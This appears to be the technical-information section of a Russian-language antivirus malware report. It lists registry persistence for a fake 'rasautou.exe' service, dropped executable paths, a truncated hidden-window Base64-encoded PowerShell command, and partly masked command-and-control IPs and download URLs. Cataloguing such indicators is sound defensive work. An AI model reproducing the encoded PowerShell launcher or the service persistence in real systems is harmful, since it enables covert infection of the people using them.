Техническая информация
- [<HKLM>\System\CurrentControlSet\Services\rasautou] 'Start' = '00000002'
- [<HKLM>\System\CurrentControlSet\Services\rasautou] 'ImagePath' = '"%WINDIR%\SysWOW64\imagesp1\rasautou.exe"'
- 'rasautou' "%WINDIR%\SysWOW64\imagesp1\rasautou.exe"
- 'rasautou' %WINDIR%\SysWOW64\imagesp1\rasautou.exe
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -ENCOD JABXAF8AaQBtAHUAZABmAD0AKAAoACcAVAAnACsAJwB3AGwAcgBvACcAKQArACcAYQAnACsAJwBfACcAKQA7ACQAQQBwAHUAOQB3ADgAcgA9ACQASABtAHYAMQA1AHEAMQAgACsAIABbAGMAaABhAHIAXQAoADEAIAArACAAMQ...
- %HOMEPATH%\b1s9qrz\teefz2r\a2_42q.exe
- %WINDIR%\syswow64\imagesp1\rasautou.exe
- %HOMEPATH%\b1s9qrz\teefz2r\a2_42q.exe в %WINDIR%\syswow64\imagesp1\rasautou.exe
- '73.##0.19.104':80
- '10#.#.63.137':8080
- http://www.di####d-tech.com/will-a/gjzE/
- http://10#.#.63.137:8080/V6l7ATu4tr4ANV/hKTTAGpACJfDA2mqGRk/oyOYuf/9VDB/2i1D/ via 10#.#.63.137
- DNS ASK di####d-tech.com
- '%HOMEPATH%\b1s9qrz\teefz2r\a2_42q.exe'
- '%WINDIR%\syswow64\imagesp1\rasautou.exe'
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -ENCOD JABXAF8AaQBtAHUAZABmAD0AKAAoACcAVAAnACsAJwB3AGwAcgBvACcAKQArACcAYQAnACsAJwBfACcAKQA7ACQAQQBwAHUAOQB3ADgAcgA9ACQASABtAHYAMQA1AHEAMQAgACsAIABbAGMAaABhAHIAXQAoADEAIAArACAAMQ...' (со скрытым окном)